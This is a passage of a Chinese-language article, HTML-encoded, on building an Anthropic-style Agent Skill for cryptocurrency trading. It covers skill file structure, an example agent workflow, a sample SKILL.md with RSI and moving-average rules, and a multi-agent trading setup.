&#x4E2D;&#xFF0C;&#x66F4;&#x6DF1;&#x7684;&#x4E0A;&#x4E0B;&#x6587;&#x5728;&#x5355;&#x72EC;&#x7684;&#x94FE;&#x63A5;&#x6587;&#x4EF6;&#x4E2D;&#x4EE5;&#x907F;&#x514D;&#x6DF9;&#x6CA1;&#x63D0;&#x793A;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x2014; <strong>&#x5DE5;&#x5177;&#x96C6;&#x6210;</strong>&#xFF1A;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x63D0;&#x4F9B;&#x7528;&#x4E8E;&#x66F4;&#x597D;&#x7531;&#x7B97;&#x6CD5;&#x89E3;&#x51B3;&#x7684;&#x4EFB;&#x52A1;&#x7684;&#x53EF;&#x8FD0;&#x884C;&#x4EE3;&#x7801;&#x6A21;&#x5757;&#xFF08;&#x6570;&#x636E;&#x5904;&#x7406;&#x3001;&#x56DE;&#x6D4B;&#xFF09;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x2014; <strong>&#x53EF;&#x79FB;&#x690D;&#x6027;</strong>&#xFF1A;&#x901A;&#x8FC7;&#x6807;&#x51C6;&#x5316;&#x6280;&#x80FD;&#x683C;&#x5F0F;&#xFF0C;&#x76F8;&#x540C;&#x7684;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x4EE3;&#x7406;&#x5E73;&#x53F0;&#xFF08;Claude&#x3001;GPT-4 &#x7B49;&#xFF09;&#x4E4B;&#x95F4;&#x5171;&#x4EAB;<a href="https://markets.financialcontent.com/wral/article/tokenring-2025-12-24-anthropic-launches-agent-skills-open-standard-the-new-universal-language-for-ai-interoperability?ref=defiplot.com#:~:text=Technically%2C%20the%20Agent%20Skills%20standard,only%20when%20execution%20is%20required">[23]</a>.</p><p>&#x8FD9;&#x4E9B;&#x7279;&#x6027;&#x8868;&#x660E;&#x6280;&#x80FD;&#x975E;&#x5E38;&#x9002;&#x5408;&#x89E3;&#x51B3;&#x50CF;&#x4EA4;&#x6613;&#x8FD9;&#x6837;&#x7684;&#x7279;&#x5B9A;&#x9886;&#x57DF;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#xFF0C;&#x5176;&#x4E2D;&#x89C4;&#x5219;&#x3001;&#x6570;&#x636E;&#x6E90;&#x548C;&#x8BA1;&#x7B97;&#x90FD;&#x5F88;&#x590D;&#x6742;&#x3002;&#x5728;&#x4E0B;&#x4E00;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x63A2;&#x8BA8;&#x8FD9;&#x5728;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x4E2D;&#x53EF;&#x80FD;&#x662F;&#x4EC0;&#x4E48;&#x6837;&#x5B50;&#x3002;</p><h2 id="4%E3%80%81%E8%AE%BE%E8%AE%A1%E4%B8%80%E4%B8%AA%E5%8A%A0%E5%AF%86%E8%B4%A7%E5%B8%81%E4%BA%A4%E6%98%93%E6%8A%80%E8%83%BD">4&#x3001;&#x8BBE;&#x8BA1;&#x4E00;&#x4E2A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;</h2><p>&#x60F3;&#x8C61;&#x4E00;&#x4E0B;&#xFF0C;&#x4E3A;&#x4E00;&#x4E2A;&#x4EE3;&#x7406;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x201C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x201D;&#x76EE;&#x5F55;&#x3002;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x9075;&#x5FAA; Anthropic &#x7684;&#x6307;&#x5357;&#xFF1A;&#x9996;&#x5148;&#x8BC6;&#x522B;&#x4EE3;&#x7406;&#x5728;&#x4EA4;&#x6613;&#x4EFB;&#x52A1;&#x4E0A;&#x7684;&#x6027;&#x80FD;&#x7F3A;&#x53E3;&#xFF0C;&#x7136;&#x540E;&#x8FED;&#x4EE3;&#x5730;&#x6DFB;&#x52A0;&#x4E0A;&#x4E0B;&#x6587;&#x3001;&#x6307;&#x4EE4;&#x548C;&#x4EE3;&#x7801;&#x6765;&#x89E3;&#x51B3;&#x8FD9;&#x4E9B;&#x95EE;&#x9898;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Here%20are%20some%20helpful%20guidelines,with%20authoring%20and%20testing%20skills">[24]</a>.</p><h3 id="41-%E6%8A%80%E8%83%BD%E7%BB%93%E6%9E%84">4.1 &#x6280;&#x80FD;&#x7ED3;&#x6784;</h3><p>&#xB7; <strong><a href="http://skill.md/?ref=defiplot.com">SKILL.md</a></strong>: &#x81F3;&#x5C11;&#xFF0C;&#x8FD9;&#x5305;&#x542B; YAML &#x5143;&#x6570;&#x636E;&#xFF08;&#x540D;&#x79F0;&#xFF1A;&#x201C;CryptoTradingSkill&#x201D;&#xFF0C;&#x63CF;&#x8FF0;&#xFF1A;&#x201C;&#x5206;&#x6790;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x548C;&#x751F;&#x6210;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x7684;&#x6307;&#x5BFC;&#x548C;&#x5DE5;&#x5177;&#x3002;&#x201D;&#xFF09;&#x4EE5;&#x53CA;&#x4EBA;&#x7C7B;&#x53EF;&#x8BFB;&#x7684;&#x6307;&#x4EE4;&#x3002;&#x8FD9;&#x4E9B;&#x53EF;&#x80FD;&#x5305;&#x62EC;&#x5206;&#x6B65;&#x4EFB;&#x52A1;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x201C;&#x83B7;&#x53D6;&#x7ED9;&#x5B9A;&#x52A0;&#x5BC6;&#x8D44;&#x4EA7;&#x7684;&#x5386;&#x53F2;&#x4EF7;&#x683C;&#x6570;&#x636E;&#x201D;&#xFF0C;&#x201C;&#x8BA1;&#x7B97;&#x9009;&#x5B9A;&#x7684;&#x6280;&#x672F;&#x6307;&#x6807;&#x201D;&#xFF0C;&#x201C;&#x8BC6;&#x522B;&#x770B;&#x6DA8;/&#x770B;&#x8DCC;&#x4FE1;&#x53F7;&#x201D;&#xFF0C;&#x201C;&#x5E94;&#x7528;&#x98CE;&#x9669;&#x9650;&#x5236;&#x201D;&#xFF09;&#x3002;<a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> &#x5C06;&#x5F15;&#x7528;&#x7528;&#x6237;&#x60F3;&#x8981;&#x7684;&#x7279;&#x5B9A;&#x4EA4;&#x6613;&#x60EF;&#x4F8B;&#x6216;&#x7B56;&#x7565;&#x903B;&#x8F91;&#x3002;&#x4F8B;&#x5982;&#xFF0C;&#x5B83;&#x53EF;&#x80FD;&#x5217;&#x51FA;&#x6307;&#x6807;&#x9608;&#x503C;&#xFF08;RSI &lt;30 &#x4E70;&#x5165;&#xFF0C;&gt;70 &#x5356;&#x51FA;&#xFF09;&#xFF0C;&#x6216;&#x8005;&#x63CF;&#x8FF0;&#x5982;&#x4F55;&#x8861;&#x91CF;&#x8D8B;&#x52BF;&#x5F3A;&#x5EA6;&#x3002;</p><p>&#xB7; <strong>&#x4EE3;&#x7801;&#x6587;&#x4EF6;</strong>&#xFF1A;&#x5728;&#x6280;&#x80FD;&#x6587;&#x4EF6;&#x5939;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6346;&#x7ED1; Python &#x811A;&#x672C;&#x3002;&#x53EF;&#x80FD;&#x7684;&#x811A;&#x672C;&#xFF1A;&#x4E00;&#x4E2A;&#x6570;&#x636E;&#x83B7;&#x53D6;&#x5668;&#xFF08;&#x4F7F;&#x7528;&#x52A0;&#x5BC6;&#x8D27;&#x5E01; API &#x4E0B;&#x8F7D; OHLCV &#x6570;&#x636E;&#xFF09;&#xFF0C;&#x4E00;&#x4E2A;&#x56DE;&#x6D4B;&#x5668;&#xFF08;&#x63A5;&#x6536;&#x4E00;&#x7EC4;&#x4FE1;&#x53F7;&#x5E76;&#x5728;&#x5386;&#x53F2;&#x6570;&#x636E;&#x4E0A;&#x6A21;&#x62DF;&#x8BA2;&#x5355;&#xFF09;&#xFF0C;&#x4E00;&#x4E2A;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x4F18;&#x5316;&#x5668;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x7B80;&#x5355;&#x7684; Markowitz &#x6216;&#x98CE;&#x9669;&#x5E73;&#x4EF7;&#x7A0B;&#x5E8F;&#xFF09;&#xFF0C;&#x751A;&#x81F3;&#x9884;&#x8BAD;&#x7EC3;&#x6A21;&#x578B;&#xFF08;&#x5982;&#x679C;&#x5C0F;&#x7684;&#x8BDD;&#xFF09;&#x3002;&#x6BCF;&#x4E2A;&#x811A;&#x672C;&#x90FD;&#x6709;&#x4E00;&#x4E2A;&#x63CF;&#x8FF0;&#x6027;&#x540D;&#x79F0;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;<a href="http://backtest.py/?ref=defiplot.com">backtest.py</a>&#xFF0C;<a href="http://indicators.py/?ref=defiplot.com">indicators.py</a>&#xFF09;&#x3002;<a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> &#x5C06;&#x544A;&#x8BC9;&#x4EE3;&#x7406;&#x5982;&#x4F55;&#x548C;&#x4F55;&#x65F6;&#x8FD0;&#x884C;&#x8FD9;&#x4E9B;&#x5DE5;&#x5177;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x201C;&#x4F7F;&#x7528; python <a href="http://backtest.py/?ref=defiplot.com">backtest.py</a> &#x5728;&#x5386;&#x53F2;&#x6570;&#x636E;&#x4E0A;&#x8BC4;&#x4F30;&#x7B56;&#x7565;&#x6536;&#x76CA;&#x3002;&#x201D;&#xFF09;&#x3002;</p><p>&#xB7; <strong>&#x8865;&#x5145;&#x6587;&#x6863;</strong>&#xFF1A;&#x9644;&#x52A0;&#x7684; markdown &#x6216; JSON &#x6587;&#x4EF6;&#x7528;&#x4E8E;&#x53C2;&#x8003;&#x3002;&#x4F8B;&#x5982;&#xFF0C;<a href="http://strategies.md/?ref=defiplot.com">strategies.md</a> &#x53EF;&#x80FD;&#x5217;&#x51FA;&#x77E5;&#x540D;&#x7684;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x7B56;&#x7565;&#xFF08;&#x8D8B;&#x52BF;&#x8DDF;&#x8E2A;&#x3001;&#x5747;&#x503C;&#x56DE;&#x5F52;&#xFF09;&#xFF0C;risk.json &#x53EF;&#x80FD;&#x7F16;&#x7801;&#x6700;&#x5927;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#x6216; CVaR &#x76EE;&#x6807;&#x3002;&#x8FD9;&#x4E9B;&#x6587;&#x4EF6;&#x5728;&#x76F8;&#x5173;&#x65F6;&#x7531;&#x4EE3;&#x7406;&#x6309;&#x9700;&#x52A0;&#x8F7D;&#x3002;</p><p>&#x793A;&#x4F8B;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;</p><ol><li><strong>&#x7528;&#x6237;&#x8F93;&#x5165;</strong>&#xFF1A;&#x7528;&#x6237;&#x8981;&#x6C42;&#x4EE3;&#x7406;&#x201C;&#x4E3A;&#x6BD4;&#x7279;&#x5E01;&#x548C;&#x4EE5;&#x592A;&#x574A;&#x627E;&#x5230;&#x4E00;&#x4E2A;&#x9AD8;&#x6536;&#x76CA;&#x7684;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x3002;&#x201D;</li><li><strong>&#x6280;&#x80FD;&#x9009;&#x62E9;</strong>&#xFF1A;&#x4EE3;&#x7406;&#x7684;&#x7CFB;&#x7EDF;&#x63D0;&#x793A;&#x5305;&#x62EC;&#x6240;&#x6709;&#x5DF2;&#x5B89;&#x88C5;&#x6280;&#x80FD;&#x7684;&#x63CF;&#x8FF0;&#x3002;&#x770B;&#x5230;&#x4E0E;&#x201C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x201D;&#x5339;&#x914D;&#xFF0C;&#x5B83;&#x51B3;&#x5B9A;&#x6FC0;&#x6D3B;&#x8BE5;&#x6280;&#x80FD;&#x3002;</li><li><strong>&#x4E0A;&#x4E0B;&#x6587;&#x52A0;&#x8F7D;</strong>&#xFF1A;Claude&#xFF08;&#x6216;&#x5176;&#x4ED6; LLM&#xFF09;&#x5C06;&#x5B8C;&#x6574;&#x7684; <a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> &#x4ECE;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x52A0;&#x8F7D;&#x5230;&#x5176;&#x4E0A;&#x4E0B;&#x6587;&#x4E2D;&#xFF0C;&#x4EE5;&#x53CA;&#x7528;&#x4E8E;&#x6BD4;&#x7279;&#x5E01;/&#x4EE5;&#x592A;&#x574A;&#x5206;&#x6790;&#x6240;&#x9700;&#x7684;&#x4EFB;&#x4F55;&#x76F8;&#x5173;&#x5B50;&#x6587;&#x4EF6;&#x3002;</li><li><strong>&#x5DE5;&#x5177;&#x6267;&#x884C;</strong>&#xFF1A;&#x4E3A;&#x4E86;&#x5206;&#x6790;&#x6570;&#x636E;&#xFF0C;&#x4EE3;&#x7406;&#x89E6;&#x53D1;&#x6346;&#x7ED1;&#x5728;&#x6280;&#x80FD;&#x4E2D;&#x7684; Python &#x5DE5;&#x5177; fetch_data.py&#xFF0C;&#x83B7;&#x53D6;&#x6700;&#x8FD1;&#x7684; BTC &#x548C; ETH &#x4EF7;&#x683C;&#x5386;&#x53F2;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x5B83;&#x53EF;&#x80FD;&#x4F1A;&#x6267;&#x884C; <a href="http://indicators.py/?ref=defiplot.com">indicators.py</a> &#x6765;&#x8BA1;&#x7B97; RSI&#x3001;MA&#x3001;MACD &#x7B49;&#x3002;</li><li><strong>&#x4FE1;&#x53F7;&#x63A8;&#x7406;</strong>&#xFF1A;&#x9605;&#x8BFB;&#x6280;&#x80FD;&#x6307;&#x4EE4;&#xFF0C;&#x4EE3;&#x7406;&#x6CE8;&#x610F;&#x5230;&#x8FDB;&#x51FA;&#x6761;&#x4EF6;&#x3002;&#x5B83;&#x53EF;&#x80FD;&#x4F1A;&#x5B9A;&#x6027;&#x5730;&#x6A21;&#x62DF;&#x8FD9;&#x4E9B;&#x4FE1;&#x53F7;&#xFF0C;&#x7136;&#x540E;&#x51B3;&#x5B9A;&#x9700;&#x8981;&#x5B9A;&#x91CF;&#x8BC4;&#x4F30;&#x3002;</li><li><strong>&#x56DE;&#x6D4B;</strong>&#xFF1A;&#x4EE3;&#x7406;&#x8FD0;&#x884C; <a href="http://backtest.py/?ref=defiplot.com">backtest.py</a>&#xFF0C;&#x5C06;&#x5176;&#x4FE1;&#x53F7;&#x8F93;&#x5165;&#x3002;&#x811A;&#x672C;&#x8FD4;&#x56DE;&#x5386;&#x53F2; P&amp;L &#x7EDF;&#x8BA1;&#x6570;&#x636E;&#x3002;&#x4EE3;&#x7406;&#x7136;&#x540E;&#x5C06;&#x8FD9;&#x4E9B;&#x7ED3;&#x679C;&#xFF08;&#x5229;&#x6DA6;&#x3001;&#x6700;&#x5927;&#x56DE;&#x64A4;&#x3001;&#x590F;&#x666E;&#x6BD4;&#x7387;&#xFF09;&#x7EB3;&#x5165;&#x5176;&#x63A8;&#x7406;&#x4E2D;&#xFF0C;&#x53EF;&#x80FD;&#x8C03;&#x6574;&#x7B56;&#x7565;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x6536;&#x7D27;&#x6B62;&#x635F;&#xFF0C;&#x6216;&#x7EC4;&#x5408;&#x6307;&#x6807;&#xFF09;&#x3002;</li><li><strong>&#x7B56;&#x7565;&#x62A5;&#x544A;</strong>&#xFF1A;&#x6700;&#x540E;&#xFF0C;&#x4EE3;&#x7406;&#x751F;&#x6210;&#x4E00;&#x4EFD;&#x4EBA;&#x7C7B;&#x53EF;&#x8BFB;&#x7684;&#x4EA4;&#x6613;&#x8BA1;&#x5212;&#xFF0C;&#x5F15;&#x7528;&#x9884;&#x671F;&#x6536;&#x76CA;&#x548C;&#x98CE;&#x9669;&#x3002;&#x5B83;&#x8FD8;&#x53EF;&#x4EE5;&#x4FDD;&#x5B58;&#x56FE;&#x8868;&#x6216;&#x7ED3;&#x679C;&#x8868;&#x683C;&#xFF08;&#x5982;&#x679C;&#x5E73;&#x53F0;&#x5DE5;&#x5177;&#x5141;&#x8BB8;&#xFF09;&#x3002;</li></ol><p>&#x8FD9;&#x79CD;&#x6DF7;&#x5408;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x2014;&#x2014;&#x4EE3;&#x7406;&#x5728;&#x81EA;&#x7136;&#x8BED;&#x8A00;&#x4E2D;&#x63A8;&#x7406;&#xFF0C;&#x4F46;&#x5C06;&#x8BA1;&#x7B97;&#x59D4;&#x6258;&#x7ED9;&#x4EE3;&#x7801;&#x2014;&#x2014;&#x4F53;&#x73B0;&#x4E86;&#x6280;&#x80FD;&#x8303;&#x5F0F;&#x3002;&#x4EE3;&#x7406;&#x6C38;&#x8FDC;&#x4E0D;&#x9700;&#x8981;&#x624B;&#x52A8;&#x89E3;&#x6790;&#x5927;&#x6570;&#x636E;&#x96C6;&#x6216;&#x6267;&#x884C;&#x7E41;&#x7410;&#x7684;&#x8BA1;&#x7B97;&#xFF1B;&#x5B83;&#x4FE1;&#x4EFB;&#x6280;&#x80FD;&#x7684;&#x5DE5;&#x5177;&#x6765;&#x505A;&#x8FD9;&#x4E9B;&#x3002;</p><h2 id="5%E3%80%81%E8%BF%AD%E4%BB%A3%E6%8A%80%E8%83%BD%E5%BC%80%E5%8F%91">5&#x3001;&#x8FED;&#x4EE3;&#x6280;&#x80FD;&#x5F00;&#x53D1;</h2><p>Anthropic &#x5EFA;&#x8BAE;&#x91C7;&#x7528;&#x8FED;&#x4EE3;&#x65B9;&#x6CD5;&#xFF1A;&#x4ECE;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x6280;&#x80FD;&#x5F00;&#x59CB;&#xFF0C;&#x5E76;&#x6839;&#x636E;&#x4EE3;&#x7406;&#x6027;&#x80FD;&#x8FDB;&#x884C;&#x6539;&#x8FDB;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Here%20are%20some%20helpful%20guidelines,with%20authoring%20and%20testing%20skills">[24]</a>. &#x5BF9;&#x4E8E;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#xFF0C;&#x53EF;&#x4EE5;&#x4ECE;&#x57FA;&#x672C;&#x6307;&#x5BFC;&#x5F00;&#x59CB;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x4F7F;&#x7528;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7EBF;&#x4EA4;&#x53C9;&#xFF09;&#x3002;&#x5982;&#x679C;&#x4EE3;&#x7406;&#x9047;&#x5230;&#x56F0;&#x96BE;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x8BEF;&#x89E3;&#x89C4;&#x5219;&#x6216;&#x5FFD;&#x89C6;&#x98CE;&#x9669;&#xFF09;&#xFF0C;&#x6211;&#x4EEC;&#x6269;&#x5C55;&#x6280;&#x80FD;&#xFF1A;&#x6DFB;&#x52A0;&#x6F84;&#x6E05;&#x3001;&#x5C06;&#x5185;&#x5BB9;&#x5206;&#x6210;&#x5B50;&#x6587;&#x4EF6;&#x6216;&#x8C03;&#x6574;&#x5DE5;&#x5177;&#x529F;&#x80FD;&#x3002;&#x4F8B;&#x5982;&#xFF0C;&#x6280;&#x80FD;&#x7684;&#x540D;&#x79F0;&#x548C;&#x63CF;&#x8FF0;&#x5FC5;&#x987B;&#x7CBE;&#x5FC3;&#x63AA;&#x8F9E;&#xFF0C;&#x4EE5;&#x4FBF;&#x4EE3;&#x7406;&#x4EC5;&#x5728;&#x771F;&#x6B63;&#x76F8;&#x5173;&#x4EFB;&#x52A1;&#x65F6;&#x89E6;&#x53D1;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=,file%20becomes%20unwieldy%2C%20split%20its">[25]</a>. &#x76D1;&#x63A7;&#x4EE3;&#x7406;&#x5728;&#x5B9E;&#x8DF5;&#x4E2D;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x6280;&#x80FD;&#x6709;&#x52A9;&#x4E8E;&#x7EC6;&#x5316;&#x8FD9;&#x4E9B;&#x7EC6;&#x8282;&#x3002;</p><p>&#x6B64;&#x5916;&#xFF0C;&#x4EE3;&#x7406;&#x81EA;&#x6211;&#x53CD;&#x601D;&#x4E5F;&#x53EF;&#x4EE5;&#x88AB;&#x5229;&#x7528;&#xFF1A;&#x5728;&#x8BD5;&#x8FD0;&#x884C;&#x671F;&#x95F4;&#xFF0C;&#x4EE3;&#x7406;&#x53EF;&#x80FD;&#x4F1A;&#x8BB0;&#x5F55;&#x54EA;&#x4E9B;&#x6709;&#x6548;&#x6216;&#x5931;&#x8D25;&#x3002;&#x7136;&#x540E;&#x53EF;&#x4EE5;&#x8981;&#x6C42;&#x4EE3;&#x7406;&#x66F4;&#x65B0;&#x6280;&#x80FD;&#x5185;&#x5BB9;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x201C;ChatGPT&#xFF0C;&#x5206;&#x6790;&#x4E3A;&#x4EC0;&#x4E48;&#x4E0A;&#x6B21;&#x56DE;&#x6D4B;&#x8868;&#x73B0;&#x4E0D;&#x4F73;&#xFF0C;&#x5E76;&#x5EFA;&#x8BAE;&#x6539;&#x8FDB;&#x6B64;&#x6280;&#x80FD;&#x3002;&#x201D;&#xFF09;&#x3002;&#x8FD9;&#x4F7F;&#x4EE3;&#x7406;&#x6210;&#x4E3A;&#x5F00;&#x53D1;&#x81EA;&#x8EAB;&#x6280;&#x80FD;&#x7684;&#x5408;&#x4F5C;&#x8005;&#x3002;</p><h2 id="6%E3%80%81%E7%A4%BA%E4%BE%8B%EF%BC%9A%E6%8A%80%E8%83%BD%E5%86%85%E5%AE%B9%E7%89%87%E6%AE%B5">6&#x3001;&#x793A;&#x4F8B;&#xFF1A;&#x6280;&#x80FD;&#x5185;&#x5BB9;&#x7247;&#x6BB5;</h2><p><a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> &#x7684;&#x4E00;&#x4E2A;&#x6837;&#x672C;&#x6458;&#x5F55;&#x53EF;&#x80FD;&#x662F;&#xFF1A;</p><pre><code>---
name: CryptoTradingSkill
description: &#x7528;&#x4E8E;&#x5206;&#x6790;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x548C;&#x5236;&#x5B9A;&#x9AD8;&#x6536;&#x76CA;&#x7B56;&#x7565;&#x7684;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#x548C;&#x5DE5;&#x5177;&#x3002;
---

## &#x6307;&#x4EE4;
- &#x901A;&#x8FC7; fetch_data.py &#x83B7;&#x53D6;&#x7ED9;&#x5B9A;&#x52A0;&#x5BC6;&#x8D44;&#x4EA7;&#x7684;&#x8FC7;&#x53BB;&#x4E24;&#x5E74;&#x5386;&#x53F2;&#x4EF7;&#x683C;&#x6570;&#x636E;&#x3002;
- &#x4F7F;&#x7528; indicators.py &#x8BA1;&#x7B97;&#x4EE5;&#x4E0B;&#x6280;&#x672F;&#x6307;&#x6807;&#xFF1A;14&#x5929; RSI&#xFF0C;20/50/200&#x5929;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7EBF;&#xFF0C;MACD&#xFF0C;&#x5E03;&#x6797;&#x5E26;&#x3002;
- &#x901A;&#x8FC7;&#x68C0;&#x67E5;&#x4EF7;&#x683C; &gt; 50&#x5929; MA &gt; 200&#x5929; MA&#xFF08;&#x725B;&#x5E02;&#xFF09;&#x6216;&#x53CD;&#x4E4B;&#x6765;&#x8BC6;&#x522B;&#x660E;&#x663E;&#x7684;&#x8D8B;&#x52BF;&#x9636;&#x6BB5;&#x3002;
- &#x5982;&#x679C;&#x5904;&#x4E8E;&#x725B;&#x5E02;&#x8D8B;&#x52BF;&#xFF0C;&#x5F53; RSI &#x8DCC;&#x81F3; 30 &#x4EE5;&#x4E0B;&#x6216;&#x4EF7;&#x683C;&#x7A81;&#x7834; 20 &#x5929; MA &#x65F6;&#x751F;&#x6210;&#x4E70;&#x5165;&#x4FE1;&#x53F7;&#x3002;
- &#x59CB;&#x7EC8;&#x5E94;&#x7528;&#x98CE;&#x9669;&#x89C4;&#x5219;&#xFF1A;&#x4EFB;&#x4F55;&#x5355;&#x4E00;&#x5934;&#x5BF8;&#x4E0D;&#x8D85;&#x8FC7;&#x8D44;&#x672C;&#x7684; 5%&#xFF0C;&#x6B62;&#x635F;&#x5728; 2% &#x56DE;&#x64A4;&#x3002;
- &#x4E3A;&#x4E86;&#x8BC4;&#x4F30;&#x4EFB;&#x4F55;&#x5019;&#x9009;&#x7B56;&#x7565;&#xFF0C;&#x8FD0;&#x884C; backtest.py&#xFF0C;&#x8F93;&#x51FA;&#x7D2F;&#x8BA1;&#x6536;&#x76CA;&#x3001;&#x590F;&#x666E;&#x6BD4;&#x7387;&#x548C;&#x6700;&#x5927;&#x56DE;&#x64A4;&#x3002;</code></pre><p>&#x4EE3;&#x7406;&#x5C06;&#x5728;&#x6267;&#x884C;&#x65F6;&#x5C06;&#x6B64;&#x89C6;&#x4E3A;&#x6743;&#x5A01;&#x6307;&#x5BFC;&#x3002;</p><h2 id="7%E3%80%81%E5%B8%A6%E6%9C%89%E6%8A%80%E8%83%BD%E7%9A%84%E5%A4%9A%E4%BB%A3%E7%90%86%E4%BA%A4%E6%98%93%E6%A1%86%E6%9E%B6">7&#x3001;&#x5E26;&#x6709;&#x6280;&#x80FD;&#x7684;&#x591A;&#x4EE3;&#x7406;&#x4EA4;&#x6613;&#x6846;&#x67B6;</h2><p>&#x591A;&#x4EE3;&#x7406;&#x8303;&#x5F0F;&#x81EA;&#x7136;&#x5730;&#x8865;&#x5145;&#x4E86; Agent Skills&#x3002;&#x5728;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x516C;&#x53F8;&#x4E2D;&#xFF0C;&#x53EF;&#x4EE5;&#x60F3;&#x8C61;&#x5206;&#x5F00;&#x7684; AI &#x4EE3;&#x7406;&#x5404;&#x81EA;&#x62E5;&#x6709;&#x76F8;&#x5173;&#x6280;&#x80FD;&#xFF1A; &#x2014; <strong>&#x5E02;&#x573A;&#x5206;&#x6790;&#x5E08;&#x4EE3;&#x7406;</strong>&#xFF1A;&#x62E5;&#x6709;&#x6536;&#x96C6;&#x548C;&#x89E3;&#x91CA;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x65B0;&#x95FB;&#x3001;&#x94FE;&#x4E0A;&#x6307;&#x6807;&#x548C;&#x94FE;&#x4E0A;&#x4FE1;&#x53F7;&#x7684;&#x6280;&#x80FD;&#x3002;&#x5B83;&#x4F7F;&#x7528;&#x8BF8;&#x5982;&#x201C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x65B0;&#x95FB;&#x60C5;&#x7EEA;&#x201D;&#xFF08;&#x5E26;&#x6709;&#x6293;&#x53D6;&#x65B0;&#x95FB;&#x7684;&#x4EE3;&#x7801;&#x548C; LLM &#x6765;&#x8BC4;&#x4F30;&#x60C5;&#x7EEA;&#xFF09;<a href="https://arxiv.org/abs/2412.19245?ref=defiplot.com#:~:text=,In%20contrast%2C%20the%20Loughran">[16]</a> &#x548C;&#x201C;&#x94FE;&#x4E0A;&#x5206;&#x6790;&#x201D;&#xFF08;&#x5E26;&#x6709;&#x67E5;&#x8BE2;&#x533A;&#x5757;&#x94FE;&#x6570;&#x636E;&#x7684;&#x811A;&#x672C;&#xFF09;&#x7B49;&#x6280;&#x80FD;&#x3002; &#x2014; <strong>&#x6280;&#x672F;&#x5206;&#x6790;&#x5E08;&#x4EE3;&#x7406;</strong>&#xFF1A;&#x4F7F;&#x7528;&#x4E0A;&#x9762;&#x6982;&#x8FF0;&#x7684;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#xFF0C;&#x4E13;&#x6CE8;&#x4E8E;&#x4EF7;&#x683C;/&#x6210;&#x4EA4;&#x91CF;&#x56FE;&#x8868;&#x3002;&#x5B83;&#x6839;&#x636E;&#x8FD9;&#x4E9B;&#x6280;&#x672F;&#x6307;&#x6807;&#x8FDB;&#x884C;&#x63A8;&#x7406;&#x5E76;&#x6309;&#x7167;&#x63CF;&#x8FF0;&#x8FD0;&#x884C;&#x56DE;&#x6D4B;&#x3002; &#x2014; 